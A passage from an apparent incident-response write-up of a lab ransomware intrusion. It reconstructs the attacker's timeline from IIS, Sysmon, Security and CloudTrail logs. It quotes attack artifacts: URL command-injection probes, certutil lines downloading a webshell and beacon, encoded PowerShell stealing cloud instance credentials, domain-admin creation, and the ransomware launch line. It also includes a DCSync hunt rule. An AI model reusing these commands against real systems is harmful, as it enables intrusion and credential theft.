  • Exfiltrated data.cab via FileZilla SFTP to the attacker's Linode VPS
  • Stole an AWS STS credential via IMDSv2 and used it off-instance to read 164 S3 objects from the sfcu-records bucket

Impact: at 22:08:40 the actor detonated a custom ransomware binary (IamBatman.exe) delivered via AD's own SYSVOL replication. 6,023 files were encrypted + 2,530 ransom notes dropped across 5 hosts in 58 minutes (21:58:34 botched first attempt → 22:56:42 last encrypt on WS02 brndlog.txt · DD13). DC02 cleanly matched 388 files in 5.4 s — a natural completion, not an abort: DCs hold few user .txt/.pdf/.csv documents in IamBatman's narrow target scope, so per-host rate differences reflect directory-walk time, not encryption speed (DD14.1). Extension scope is narrow: 91.6% .txt, and critical AD files (ntds.dit, SYSTEM/SAM/SECURITY hives) are deliberately skipped — consistent with a parameterized CLI tool built for this scenario, not commodity ransomware.

The critical finding is this: the earliest attacker-visible Kerberos signal occurred at 19:33:20 UTC — 2 hours and 22 minutes before ransomware detonation. Sysmon was running, PowerShell transcription was on, Security logging was enabled, and CloudTrail was configured. The infrastructure to catch this attack was already deployed. Nothing was watching the alerts.

Residual risk (requires action): (1) krbtgt hash exfiltrated — must be rotated twice; assume Golden Ticket viability until then. (2) serviceaccount still in AD with cleartext DA password. (3) 6 scheduled tasks planted across encrypted hosts. (4) IFEO Debugger on WS01 for taskmgr.exe. (5) C:\TFTP Server\ writable ACL must be fixed. See Addenda KT + PR.

What worked: AWS account-key quota blocked cloud persistence. DefaultAppPool privilege absence slowed the privesc by 20 minutes. Sysmon's coverage scope was broader than the attacker's log-clearing scope, preserving post-21:08 evidence on SVR01. Without these three, the outcome would have been worse.

DD2. Second-pass deep-dive — seven findings surfaced after the Tier-1/2/3 round

After writing Addenda A–Z + AA/AB/CM/AC/ES/PI/PR/IR/FA/EX/DW/KT/TC/AV/VT/MI/Ω, a sweep for remaining gaps surfaced these seven corpus-verified items. Each is low-volume but closes a specific question a DFIR reviewer would otherwise ask.

DD2.1 — LAFAdmin ran Advanced_IP_Scanner_2.5.4594.1.exe interactively on DC02

Addenda D/M noted the download and registry-state-change for Advanced IP Scanner. What they missed is the actual interactive execution from LAFAdmin's RDP session on DC02:

// DC02 · user=LAFAdmin · Sysmon EID 1
20:54:27.363   Advanced_IP_Scanner_2.5.4594.1.exe  (PID 7336, parent explorer.exe)
20:54:27.533   is-0FC87.tmp\Advanced_IP_Scanner_2.5.4594.1.tmp  (installer tmp)
20:54:37.290   msiexec.exe /Embedding E71E81EF09C9B21B2EF707425670387B
20:54:40.555   C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe  (PID 1736)

What this adds: the attacker didn't just download — they ran a network discovery tool from inside a Domain Controller. The registry artifact from Addendum D (famatech\advanced_ip_scanner\State\LastRangeUsed = 10.3.10.1-254 at 20:55:48) is the scan-range selection for that execution. Full recon of the 10.3.10.0/24 LAF subnet from DC02.

DD2.2 — PowerShell profile hijack was hand-edited on DC02

Motion-to-Persist challenge 6 (SHA256 d61890ad6df3c57b3ec33678d734d63f632a15aff2817eef01bc9b3c2488e403) asked for the SHA256 of the shellcode in a dropped PowerShell profile. The corpus shows the profile file was opened in notepad twice by LAFAdmin on DC02:

// DC02 · user=LAFAdmin · Sysmon EID 1
20:56:49.099  notepad.exe  C:\Users\LAFAdmin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
20:57:44.103  notepad.exe  C:\Users\LAFAdmin\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1  (second open)

What this adds: the profile-file persistence (T1546.013) wasn't dropped by the beacon — it was hand-written by the operator in notepad. 55 seconds between opens suggests edit → save → test → reopen to refine. That's operator-on-keyboard customization of a domain-admin persistence payload, specifically on a DC where every PowerShell session on that user profile will auto-load the hijacked profile. The profile-load fires on any PS invocation by LAFAdmin on DC02 going forward — until the file is cleaned up. Flagged as active residual in Addendum PR.

DD2.3 — LSASS access audit: SVR01 20:03:30 is the only malicious LSASS read

Across all 5 hosts during the attack window, Sysmon EID 10 targeting lsass.exe fired:

HostTimeSource ImageGrantedAccessAssessment
SVR0120:03:30.861C:\Windows\Explorer.EXE (injected)0x1010 — MiniDumpWriteDump pairMALICIOUS — CallTrace ends in UNKNOWN (Addendum L)
DC0220:45:40 · 20:54:08 · 22:06:39 · 22:15:58svchost.exe0x101000 / 0x101001 (Token query + Create)Legit — RDP session creation via winlogon/svchost. Timings match each 4624 Type 10 on DC02.
SVR0119:56:29 · 19:56:39 · 20:14:08 · 21:05:44svchost.exe0x101001Legit — RDP/logon token ops. Not related to the 20:03:30 dump.
SVR0120:18:54 · 20:20:22 · 20:23:55 · 20:24:50C:\Program Files (x86)\GUMBBFF.tmp + Google\Update\…0x1410Legit — Google Chrome Update installer probing LSASS for policy token (0x1410 is Query Information + VM_READ — common in installers).
WS0122:47:37svchost.exe0x100000Legit — post-capture, outside attack window.

What this adds: Earlier Addenda cited the SVR01 LSASS dump as exceptional. DD2.3 confirms that exceptionality — no second LSASS dump happened on any other host. The operator harvested credentials once (from SVR01 via the injected beacon) and relied on that set for the rest of the kill chain. WS01/WS02/DC02 compromise used cached hashes via RDP PtH, not fresh LSASS dumps.

DD2.4 — Outbound Sysmon EID 3 map: the beacon uplink

IIS C:\Windows\Temp\iis.exe opened TCP to 173.230.136.180:8443 at:

  • 19:05:51 — 13-minute-late first beacon (after 18:52:30 first launch as DefaultAppPool; initial connection or retry)
  • 19:06:46 — second uplink (beacon respawned via webshell start %TEMP%\iis.exe)
  • 19:37:47 / 19:37:51 — two connections during Donny's reboot window (beacon retrying as the host goes down/up)

The beacon as SYSTEM (post-19:38:02) used a separate long-lived TLS connection — Addendum W shows that one still ESTABLISHED at 22:46:45, created 19:59:00 from SVR01 (10.3.10.12:57174 → 173.230.136.180:8443). Combining both: two simultaneous beacon channels at the campaign peak — the IIS DefaultAppPool beacon (short-lived, killed by Donny's reboot) and the SVR01 SYSTEM beacon (long-lived, never closed).

DD2.5 — DNS resolution for www.advanced-ip-scanner.com

Sysmon EID 22 on DC02 at 20:54:44:

QueryName:    "www.advanced-ip-scanner.com"
QueryResults: "type: 5 advanced-ip-scanner.com; ::ffff:188.40.30.100;"
Image:        "C:\Program Files (x86)\Advanced IP Scanner\advanced_ip_scanner.exe"

What this adds: the attacker pulled Advanced IP Scanner from the legitimate Famatech vendor site at 188.40.30.100 (Hetzner Germany) — NOT a malware-rehost. Standard tool, legitimate source. This is a "living off trusted sources" pattern: the tool itself is dual-use (legit admin + attacker recon), and fetching it from the vendor's real domain evades reputation-based URL filtering.

DD2.6 — Impacket service-install fingerprint did not appear on WS01, WS02, or DC02

Addendum C documents the 5-stage UnmfmnOL / QsYyAARL / XCCVTGUb / SOUwKZNf / PovLjNTr impacket dance on DC01. A check across every other host for the same %COMSPEC% /Q /c echo … > execute.bat ImagePath pattern returned zero matches on WS01, WS02, or DC02 during the attack window.

What this adds: impacket was used once and only once — for NTDS extraction on DC01. Lateral moves to WS01 (20:35 RDP), DC02 (20:45 RDP), and WS02 (21:57 RDP) all used RDP Type 10 with cached credentials (Pass-the-Hash over RDP via DisableRestrictedAdmin=0), not impacket service-install. This is a tradecraft discipline signal — impacket is noisy (service install = 4697 + 7045 every time), so the operator minimized its use to the one action where it's required (VSS shadow copy path to ntds.dit).

DD2.7 — Firefox on DC02 phoned Mozilla telemetry during the operator's session

pingsender.exe parent firefox.exe at 20:49:16 on DC02, user=LAFAdmin, sending ping to incoming.telemetry.mozilla.org. This is Firefox's legitimate anonymous-telemetry mechanism — but the operational context is the interesting part:

  • The operator had Firefox open on a Domain Controller for ≥3 minutes during the RDP session.
  • This is a behavioral tell — legit DC admins don't use DCs for web browsing; they RDP elsewhere or use jump boxes. An operator using a DC as a general-purpose workstation is consistent with someone who doesn't know or care about DC hygiene norms.
  • The telemetry ping went to Mozilla's real infrastructure and is harmless by itself, but it's an indirect attribution signal: the operator's Firefox instance had been running long enough to generate telemetry batches, implying either (a) they'd been using that Firefox profile for a while (reusing infrastructure) or (b) they'd imported a profile recently enough to trigger session-start telemetry.

Cumulative effect of DD2.1-DD2.7: strengthens three claims that were previously only circumstantially supported — (1) the operator was hands-on-keyboard on DC02 for ~80 minutes (Advanced IP Scanner GUI, Notepad profile edit, Firefox browsing), not purely automated; (2) impacket usage was surgical and one-shot, not a default lateral-move tool in this operator's kit; (3) the one real LSASS dump was genuinely the only one, with every other LSASS-access event explainable as legitimate svchost/Chrome-installer behavior.

DD3. Third-pass deep-dive — initial-access revised by 13 minutes + victim brand + cadence + baseline

DD3.1 — True initial access: 18:38:29, not 18:51:41 (the webshell drop)

The corpus's iis source_type contains the W3C access log for the barrygoodtech.com IIS site. Parsing it reveals the actual first malicious request and the attacker's full command-injection probe sequence before the "official" webshell drop:

// IIS access log (source_type='iis') · c-ip=172.236.127.251 · UA=Firefox/140.0 Linux x86_64

18:38:29   GET /                   sc-status 200   first probe · bare site root
18:38:37   GET /index.html         Referer barrygoodtech.com/          browsing
18:38:39   GET /services.html      Referer /index.html                 browsing
18:38:45   GET /CheckStatus.aspx   Referer /index.html                 discovers the vuln page
18:39:03   /CheckStatus.aspx?url=google.com                 benign test (confirms app echoes url)
18:39:46   /CheckStatus.aspx?url=facebook.com               second benign test
18:40:01   /CheckStatus.aspx?url=google.com+|+whoami        FIRST INJECTION ATTEMPT (pipe)
18:40:21   /CheckStatus.aspx?url=google.com+;+whoami        semicolon separator
18:40:37   /CheckStatus.aspx?url=google.com+;+set           env dump
18:40:54   /CheckStatus.aspx?url=Google.com+;+cat+/etc/passwd   ← tried UNIX first
18:40:59   /CheckStatus.aspx?url=Google.com+;+echo+"test'       quote-escape test
18:41:06   /CheckStatus.aspx?url=Google.com+;+ls+C:\users\      switched to WINDOWS
18:41:13   /CheckStatus.aspx?url=Google.com+&&+whoami           tries && combinator
18:41:22   /CheckStatus.aspx?url=Google.com+&&+set              env dump
18:41:43   /CheckStatus.aspx?url=Google.com+&&+C:\              bare drive letter
18:42:00   /CheckStatus.aspx?url=Google.com+&&+ls+C:\Users
18:42:13   /CheckStatus.aspx?url=Google.com+&&+ls+C:\inetpub
18:42:28   /CheckStatus.aspx?url=Google.com+|+ls+C:\inetpub     tries pipe again
18:42:38   /CheckStatus.aspx?url=Google.com+&&+dir+C:\inetpub   DIR (Windows cmd) ← confirms Windows
18:43:02   /CheckStatus.aspx?url=Google.com+&&+dir+C:\Users\    enumerate users
18:43:18   /CheckStatus.aspx?url=Google.com+&&+dir+C:\inetpub\wwwroot
18:43:43   /CheckStatus.aspx?url=Google.com+&&+type+C:\inetpub\wwwroot\web.config   ← reads web.config
18:44:33   /CheckStatus.aspx?url=Google.com+&&+dir+C:\                               root listing
18:45:12   /CheckStatus.aspx?url=Google.com+&&+dir+C:\"TFTP Server"                  ← FOUND the privesc target
18:51:42   /CheckStatus.aspx?url=google.com+&&+certutil+-urlcache+…/so.aspx…         webshell drop
18:52:20   /CheckStatus.aspx?url=Google.com+&&+certutil+-urlcache+…/iis.exe…         beacon drop

What this changes:

  • True initial-access time is 18:38:29, not 18:51:41. The 18:51:41 value is the webshell drop — the moment the attacker confirmed exploitation and started deploying tooling. The first malicious probe — the bare GET / from 172.236.127.251 that begins the recon chain — is 13 minutes earlier. Authoritative dwell time: 2 h 44 m (18:38:29 → 22:10:52 shadow-wipe cascade).
  • Victim brand is barrygoodtech.com — the public-facing IIS site hostname appears in every cs(Referer) header and ties the attacker's browser navigation chain together (//index.html/services.html/CheckStatus.aspx). This is the external-facing brand of the victim organization; previously the writeup referred only to "IIS-SERV-PROD" (the internal machine name).
  • Attacker initially tested as Unix — the ;+cat+/etc/passwd at 18:40:54 shows they hadn't confirmed the OS yet. After the Windows-style dir works at 18:42:38, they commit to Windows syntax for the rest.
  • They discovered C:\TFTP Server\ via dir at 18:45:12SIX MINUTES before the webshell drop. The privesc target folder was identified during recon and queued for exploitation. This is consistent with operator-on-keyboard discovery, not blind exploitation.
  • The attacker read web.config at 18:43:43 — potentially to extract connection strings, machine keys, or app-pool identity details. The corpus doesn't capture the response body so we can't confirm what they learned, but the read itself is evidence of configuration-data theft.
DD3.2 — Ludus baseline noise: 40-55% of Sysmon EID 1 per host is lab-framework overhead

The null404 environment is built on the Ludus lab framework, which runs a persistent bginfo.exe refresh loop on every host. During the 18:00–00:00 attack window:

HostTotal Sysmon EID 1Ludus rowsLudus %Real signal-to-noise
IIS43000%Clean of ludus — attacker activity dominant
DC011,257665%High signal-to-noise
SVR013,7801,45739%Medium — ludus bginfo fires every ~10s
WS025,4082,29642%Medium
WS016,2562,73844%Medium
DC022,9621,63655%Majority noise — filter carefully

What this adds: a DFIR analyst inheriting this corpus should filter out image LIKE '%ludus\background\bginfo.exe%' + parent_image LIKE '%ludus\background\bginfo.exe%' as the first query hygiene step. 55% of DC02's Sysmon EID 1 rows during the attack are lab-framework bginfo invocations — drowning the signal. The writeup's evidence-based approach would be harder without this filter; all the "attacker command" queries in the addenda have this filter applied implicitly via parent_image LIKE '%explorer%' and other scope clauses.

Note: this noise is entirely an artifact of the Ludus lab, not a real corporate environment. In a production DFIR engagement the equivalent "always-on noise" is whatever background-refresh agents are deployed (SCCM, Intune, Nessus agent, CrowdStrike sensor heartbeat, etc.). Same filter concept, different image paths.

DD3.3 — DCSync not observed — the Security 4662 events are legitimate AD replication

Addendum KT claimed DCSync was not used (the operator chose the VSS shadow-copy path instead). DD3.3 verifies this directly. Security EID 4662 events on DC01 during the attack window do fire, but:

// DC01 · Security EID 4662 · hourly clockwork at XX:01:00
SubjectUserSid   : S-1-5-18
SubjectUserName  : LAF-DC01$            ← DC's own machine account
SubjectLogonId   : 0x4ba28
ObjectServer     : DS (Directory Service)
ObjectType       : {19195a5b-6da0-11d0-afd3-00c04fd930c9}    // domain object class
ObjectName       : {90d47c4c-4bff-4b74-84c9-9bfc90bfa257}    // NC head
AccessMask       : 0x100
Properties       : %%7688   (message ID, decodes to one of the AD control rights)

Why this is NOT DCSync:

  • SubjectUser is LAF-DC01$ (the DC itself), not a user-context account. DCSync attacks show a user account (LAFAdmin, serviceaccount) as subject, or occasionally NetworkService/LocalService. A DC asking itself for replication rights every hour on the hour is AD's own KCC topology/replication heartbeat — not an attacker.
  • Clockwork timing (18:01, 19:01, 20:01, 21:01, 22:01) is the AD default replication schedule, not attacker behavior.
  • No 4624 Type 3 NTLM/Kerberos from a non-DC account immediately before each 4662 — DCSync attacks are preceded by an attacker authenticating and then invoking DRSUAPI. Here, every 4662 has SubjectLogonId 0x4ba28 which is the DC's boot session.
  • The attacker's chosen path was impacket secretsdump --use-vss (Addendum C), which extracts ntds.dit via a shadow copy and does not touch DRSUAPI at all. That's a deliberate tradecraft choice: DCSync would require either domain-admin+replicating-directory-changes permission or a DA account, and would fire a distinctive 4662 with the three DCSync-specific GUIDs. The operator chose the quieter shadow-copy path.

Hunt rule that would catch DCSync (not needed for this case, but ship to defenders anyway): Security 4662 WHERE SubjectUser NOT MATCHES %$ AND Properties CONTAINS ANY OF: {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2, 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, 89e95b76-444d-4c62-991a-0facbeda640c}. Those three GUIDs are DS-Replication-Get-Changes / All / In-Filtered-Set — no legitimate user account should hold them in normal ops.

DD3.4 — Attacker command cadence on SVR01: human-pace gaps confirm operator-on-keyboard

Delta-time between consecutive LAFAdmin-via-Explorer commands on SVR01 (same source set as Addendum PI.3):

UTCGap from previousCommandCadence read
20:02:14net user serviceaccount P@ssw0RD1! /add /domainFirst command · start of the chain
20:03:0551.6 snet group 'Domain Admins' serviceaccount /add /domainScripted or automated · too fast for human typing + result check
20:13:2610 m 21 sreg add … DisableRestrictedAdmin=0Human pause · operator was on DC01 during this window doing the 20:08:44–20:09:04 impacket secretsdump
20:16:132 m 48 sNOTEPAD C:\Share\Project Frog.txtHuman reading / thinking
20:16:217.5 sNOTEPAD C:\Share\Admin\ToDo.txtOperator opening files sequentially · consistent with interactive browsing
20:16:3312.7 sNOTEPAD C:\Share\Legal\txt\clients.txtSame
20:16:4411.0 sFirefox.exeLaunching browser after reading docs
20:18:462 m 2 sFileZilla_3.69.6_…setup.exeDownloaded installer from the beacon channel then executed
20:19:581 m 12 scmd.exeShort spin-up shell
21:08:2448 m 25 spowershell.exe (parent of LogDel.bat)LONG gap · operator was on DC02 during this window (Advanced IP Scanner at 20:54, notepad profile edit at 20:56-57, Kerberos TGS operations)

Cadence interpretation: the pattern is classic mixed-mode tradecraft — 51 s for the 2-command DA-setup script (short enough to be a single copy-paste with a one-liner), 10-min and 48-min gaps where the operator pivoted to other hosts (DC01 NTDS exfil, then DC02 hands-on-keyboard), and 7-12 s interactive gaps between notepad reads of shared documents (a human clicking through files). This is not an autonomous-payload pattern; it's an operator juggling three hosts through separate beacon channels.

DD4. Fourth-pass — three external IPs on the IIS app, webshell delivery channel decoded, MotW corroboration

DD4.1 — Three distinct external IPs on barrygoodtech.com
IPUser-AgentTimingAssessment
172.236.127.251Firefox/140 · X11/Linux18:38:29 → 21:29:20MAIN ATTACKER · Linode delivery VPS · all injection probes + POST /so.aspx
71.205.100.56Firefox · Windows 102026-03-05, 03-07, and 2026-03-08 20:11:28Donny's residential IP (same as his 19:41:56 RDP 4624). Routine benign app use: ?url=facebook.com · ?url=google.com · ?url=reddit.com. Donny used the app DURING the compromise, oblivious.
216.82.9.162Firefox/147 · Windows 1019:08:12 (5 req) · 21:57:35-59 (3 req)UNATTRIBUTED THIRD-PARTY. Different OS + Firefox version than main attacker. Page-enum at 19:08 (/ → /index.html → /services.html → /CheckStatus.aspx) + ?url=facebook.com · ?url=aws.com at 21:57. Timing coincidence with pre-detonation on WS02. Corpus can't resolve — (a) secondary operator, (b) CTF team probe, or (c) benign scanner.
DD4.2 — The webshell is the delivery channel for ALL post-foothold commands

After so.aspx landed at 18:51:42, command delivery pivoted from ?url= GETs to POST /so.aspx:

// IIS · POST /so.aspx from 172.236.127.251
19:08:42  POST /so.aspx   → spawns powershell "whoami"
19:10:06  POST /so.aspx   → powershell "hostname"
19:10:17  POST /so.aspx   → powershell "ipconfig"
19:10:33  POST /so.aspx   → powershell "tasklist"
19:10:53  POST /so.aspx   → powershell "netstat"
19:12:01  POST /so.aspx   → powershell "nltest /dclist:"
19:12:30  POST /so.aspx   → powershell "nslookup LAF-dc01.LAF.local"
19:40:36  POST /so.aspx   → (post-SYSTEM command)

For the IMDSv2 theft, the delivery changed again — PowerShell -enc payloads tunneled through the injection GET:

// 21:25:36  CheckStatus.aspx?url=google.com&&powershell -enc SQBuAHYAbwBrAGUA...
//           base64 → UTF-16LE → "Invoke-RestMethod -Method Put -Uri 'http://169.254.169.254/latest/api/tok…"
// 21:28:07  same pattern → "Invoke-RestMethod -Method Get -Uri 'http://169.254.169.254/latest/meta-data/…"
// 21:29:20  same pattern → "Invoke-RestMethod -Method Get -Uri '…/iam/security-credentials/iam_role_iisserver'…"

What this adds: the IMDSv2 three-step chain documented in Addendum X wasn't interactive typing — it was three base64-encoded PowerShell payloads delivered via the webshell. The ps_transcript events on IIS are the execution receipts of webshell-delivered commands. Every post-foothold action in this campaign is webshell-carried.

DD4.3 — Chrome saved-login forensics (T1555.003 targets)
HostUsernameStoredRelevance
WS02dalton_cat2026-03-04Dalton's personal creds
WS02dalton_cat@yahoo.com2026-03-04Dalton's Yahoo mail
WS01icantreed123@gmail.com2026-03-07Subpoena-2 answer — saved-in-Chrome credential the attacker harvested via DonPAPI's Login-Data shadow-copy (Addendum J 20:20:24).
WS01icantreed1222026-03-07Alternate identifier for same user
DD4.4 — Mark-of-the-Web ADS on attacker downloads

Sysmon EID 15 captured Zone.Identifier ADS on two attacker-downloaded installers:

HostUTCFile + ADSDownloader
SVR0120:18:04FileZilla_3.69.6_win64_sponsored2-setup.exe:Zone.IdentifierFirefox PID 3176
DC0220:46:07Advanced_IP_Scanner_2.5.4594.1.exe:Zone.IdentifierMicrosoft Edge PID 8144

What this adds: both installers came from the public internet via browsers (not certutil/curl). Zone.Identifier contains HostUrl= — parsing these ADS in a real IR would give the exact download URL. The operator didn't strip them (a common evasion technique), so forensic attribution is clean.

DD4.5 — Attacker recon'd Donny's personal folders via the injected Explorer
// SVR01 · LNK source · 2026-03-08 attack window
20:08:07   LNK target: C:\Users\donny\Downloads
20:08:07   LNK target: C:\Users\donny\work\MECM       ← Donny's SCCM/MECM work folder

What this adds: Addendum PI.3 documented notepad opens of C:\Share\ docs at 20:16+. DD4.5 adds an earlier Explorer-driven reconnaissance step at 20:08:07 — the beacon navigated Donny's Downloads and work\MECM folders. MECM (Microsoft Endpoint Configuration Manager, aka SCCM) is the org's patching/deployment system — a config file in there gives the attacker inventory of every managed host plus deployment tooling.

DD4.6 — C:\ProgramData\list.txt — the cab-staging file we hadn't named

LNK artifacts show C:\ProgramData\list.txt was in LAFAdmin's Recent-items folder. Sysmon shows how it was built:

// SVR01 · Sysmon EID 1 · makecab/notepad cycle
20:21:09   msupdate.exe (PID 4656, SHA256 59A1045B…A12 = makecab)
20:22:14   notepad.exe
20:22:31   msupdate.exe
20:23:41   notepad.exe
20:24:18   notepad.exe
20:24:23   msupdate.exe
20:25:00   msupdate.exe

What this adds: the operator cycled makecab and notepad four times between 20:21 and 20:25. The pattern (cab-build → open output in notepad → adjust → rebuild) is consistent with iteratively building a compressed archive while hand-editing list.txt as the makecab directive file. This ties Addendum F (SFTP exfil of data.cab) to a specific file-selection step not previously surfaced.

DD4.7 — Browser cookie inventory — normal user footprint, no attacker-relevant tokens
Host (user)Top cookie domainsSignal
WS02 (Dalton)pubmatic.com (69) · go.sonobi.com (52) · 1stphorm.com (40) · nextmillmedia.com (38) · youtube.com (38) · waldenu.edu (32)Normal end-user browsing — ad-trackers + fitness + YouTube + Walden University (education)
SVR01 (LAFAdmin)bing.com (36) · tomsguide.com (32) · creality.com (31)Normal user browsing — no cloud-admin or password-manager cookies

Negative finding (important): no AWS-console cookies, no Dashlane vault tokens, no bank sessions in the cookie store. The cloud pivot HAD to come from IMDSv2 theft because browser-stored tokens didn't offer an alternative path. Confirms the tradecraft choice in Addendum X.

Net DD4 contribution: seven new evidence bundles — three attacker IPs surfaced (DD4.1), webshell confirmed as the universal delivery channel with base64 decoded (DD4.2), Chrome-saved-login cross-corroboration of Subpoena-2 (DD4.3), MotW provenance on downloaded installers (DD4.4), previously-undocumented Donny-folder recon at 20:08:07 (DD4.5), named the makecab staging file list.txt (DD4.6), and established via negative finding that the cloud pivot wasn't enabled by browser-cookie theft (DD4.7).

DD5. Fifth-pass — the 21:58 "anti-rollback gap" was a FAILED detonation (shell-syntax bug), DC02 session is GUI-driven, SYSVOL drop via Explorer

DD5.1 — The 21:58 pre-stage was a failed first detonation (shell-syntax bug)

Evidence bundle for Addendum T's lead finding. The 10-minute window between pre-stage (21:58) and successful encryption (22:08:40) has a clean explanation visible in the exact command line the operator queued:

// WS02 · Sysmon EID 1 @ 21:58:34.024 · PID 33576 (SYSTEM) — task iEMKOmOw trigger
cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat ; \\laf-dc02\sysvol\IamBatman.exe encrypt C:\ > C:\Windows\Temp\iEMKOmOw.tmp 2>&1

                                    ^
                                   bash-style command separator
                                   cmd.exe does NOT treat `;` as a separator

What happened: cmd.exe consumes ; as a literal character — not a command separator. cmd's separators are & or &&. Only the first token (sysAV.bat) executed; the text after the semicolon (IamBatman.exe encrypt C:\) became a stray argument that sysAV.bat ignored. Result: sysAV.bat ran (firing vssadmin delete shadows + 2× bcdedit), but IamBatman.exe never launched.

Proof via negative evidence: corpus query for .bWqQUx file creation on WS02 between 21:58:00 and 22:08:40 returns zero rows.

SELECT COUNT(*) FROM events
 WHERE host='WS02' AND target_filename LIKE '%.bWqQUx'
   AND time_utc >= '2026-03-08T21:58:00' AND time_utc < '2026-03-08T22:08:40';
-- result: 0

At 22:08:39 the operator registered a second scheduled task (mIglpUCO) to re-attempt detonation. At 22:08:40.416 IamBatman.exe actually fired — encryption started. The 10-minute gap is an operator shell-syntax bug, not deliberate anti-rollback strategy.

Nuance to Addendum T / Detective / Master Timeline: an "anti-rollback pre-stage" framing would be misleading. This was a failed first detonation that still did delete shadows + disable recovery (because sysAV.bat ran) — same victim outcome, different intent. Operator tradecraft is slightly less disciplined than the headline suggests; a bash-syntax habit bled into a cmd-prompt target.

DD5.2 — IamBatman.exe was dropped to SYSVOL via Explorer GUI, not cmd-line

Sysmon EID 11 captures the SYSVOL drop at 21:03:54 with Image=C:\Windows\explorer.exe PID 3272. Explorer on DC02 wrote IamBatman.exe to C:\Windows\SYSVOL\sysvol\. Explorer-as-creator means GUI interaction: drag-and-drop, right-click Save As, or clipboard paste — not a cmd.exe/powershell write. No earlier IamBatman.exe file-create anywhere in the corpus. Most likely: RDP clipboard paste (rdpclip.exe ferrying bytes from the operator's workstation into the DC02 Explorer window) or Save-As from a browser dialog into SYSVOL.

DD5.3 — DC02 operator session is GUI-dominated: 13 commands, 83 min, 69-min idle gap
UTCImageAction
20:51:06rundll32.exeShell helper init
20:54:07explorer.exeExplorer shell starts post-login
20:54:23rundll32.exeAnother shell helper
20:54:27Advanced_IP_Scanner_2.5.4594.1.exeRuns downloaded installer
20:54:37msiexec.exeInstalls scanner
20:54:40advanced_ip_scanner.exeGUI launches scanner (scans 10.3.10.1-254)
20:56:31powershell.exespawns
20:56:49notepad.exeMicrosoft.PowerShell_profile.ps1first edit of PS-profile backdoor
20:57:44notepad.exeSame file — second edit, 55 s later
— 69 min 18 s idle on DC02 — operator working SVR01/WS01/IIS/Cloud during this window. RDP session kept alive but unattended. —
22:07:02cmd.exeFresh shell
22:07:07notepad.exesysAV.bat first review
22:08:10notepad.exesysAV.bat second review (63 s later)

What this adds: DC02 session is GUI-dominated (Advanced IP Scanner + Notepad ×4 + Explorer GUI). No cmd-line tools other than setup wrappers. The 69-min idle gap aligns precisely with other-host activity (SVR01 LogDel.bat at 21:08, IIS IMDSv2 21:25-29, cloud pivot 21:42-49, WS02 RDP 21:57). Multi-host juggling confirmed.

DD5.4 — Refined external-IP attribution: one threat actor
  • 172.236.127.251 Linode · Linux Firefox/140 — attacker's delivery + C2 VPS. All injection probes + POST /so.aspx + IMDSv2 payloads + SFTP exfil.
  • 71.205.100.56 Comcast US · Windows Firefox — Donny's IP (per 19:41:56 RDP). Benign app-testing 2026-03-05/07/08.
  • 216.82.9.162 Level 3 · Windows Firefox/147 — no malicious activity. Page-enum only. Most likely a benign scanner/bot.

Conclusion: one threat actor, four-IP operational footprint (172.236.127.251 delivery · 173.230.136.180 C2 · 198.51.100.10 RDP origin · 212.8.249.213 cloud egress). Other IPs are noise.

DD6. Sixth-pass — CTF author identified · NullAdmin spray · dormant DA backdoor · call-home delay · WS02 retry

DD6.1 — 216.82.9.162 is the CTF author's IP (AWS Root + MFA), NOT a scanner

This corrects DD4.1 and DD5.4. Earlier addenda labeled 216.82.9.162 as "unattributed third-party / benign scanner". Wrong. CloudTrail shows the IP performing AWS Root-user admin operations with MFA during 2026-02-23 through 2026-03-01 — the lab/scenario provisioning window:

// CloudTrail · sourceIPAddress 216.82.9.162 · Feb 23 → Mar 1 2026
userIdentity.type           : Root                                     ← AWS root
userIdentity.arn            : arn:aws:iam::464381121764:root
userIdentity.mfaAuthenticated: true
Events observed:
   ListFunctions20150331     (Lambda)
   ListManagedNotificationEvents (notifications)
   DescribeMetricFilters     (CloudWatch Logs)
   GetInstanceProfile        (IAM)
   GetRole                   (IAM)
   GetBucketAcl              (S3)
   ListIndices / ListMeshes / ListClusters / ListResources / ListApplications
   PutObject                 (S3 · populating sfcu-records bucket)

Who this is: the scenario builder — likely Barry (of barrygoodtech.com branding) or a member of the Null404 team — populating the AWS environment with the target S3 bucket contents, IAM role iam_role_iisserver, pre-existing user jb_aws_cli, Lambda functions, and the CloudWatch / CloudTrail telemetry wiring. Every root-MFA event from this IP is legitimate build activity, not attack.

Why it appeared in IIS logs on attack day: the same 216.82.9.162 hit barrygoodtech.com at 19:08:12 and 21:57:35 — the author verifying the scenario was live. Page-enum only, zero command-injection attempts. Noise we should've recognised earlier.

Attribution now complete: 6 external IPs total in the corpus — 4 attacker-operated (172.236.127.251 Linode delivery+SFTP · 173.230.136.180 Linode C2:8443 · 198.51.100.10 WireGuard VPN for IIS non-interactive chain · 212.8.249.213 WorldStream NL for off-instance cloud egress), 1 CTF-author (216.82.9.162 Level 3 · Root+MFA lab builder), 1 legitimate-user (71.205.100.56 Comcast = Donny). DD10 later split 198.51.100.10 from 198.51.100.3 (operator workstation for interactive RDP to SVR01) — so 5 attacker-operated IPs + 1 author + 1 user = 7 total once the WireGuard-range split is counted. No unknowns.

DD6.2 — NullAdmin username-spray preceded LAFAdmin success on WS01 and DC02

Before using harvested LAFAdmin credentials, the attacker tried NullAdmin as a username guess on two hosts:

// Security EID 4625 · from 198.51.100.10 · LogonType 3 NTLM
WS01 20:34:28.879  TargetUser=NullAdmin · SubStatus 0xc0000064 "username does not exist"
DC02 20:44:44.606  TargetUser=NullAdmin · same SubStatus · IpPort 50091

// 17 seconds after the WS01 fail:
WS01 20:34:45.261  TargetUser=LAFAdmin · 4624 Type 3 · SUCCESS (harvested hash)
WS01 20:35:29.330  TargetUser=LAFAdmin · 4624 Type 10 · RDP CONNECT

What this adds: the operator's lateral-movement tool tried NullAdmin first — a guess at a plausible admin-account name given the null404 CTF theme. Both attempts failed because NullAdmin doesn't exist in LAF. The tool then fell back to LAFAdmin with the LSASS-dumped NTLM hash 17 seconds later on WS01, and RDP succeeded 44 seconds after the spray. This is a username-spray pattern, not a surgical strike. Either the tool was impacket with a default user list, or the operator manually typed a guess before reaching for the real creds.

DD6.3 — serviceaccount Domain Admin account was created but NEVER USED

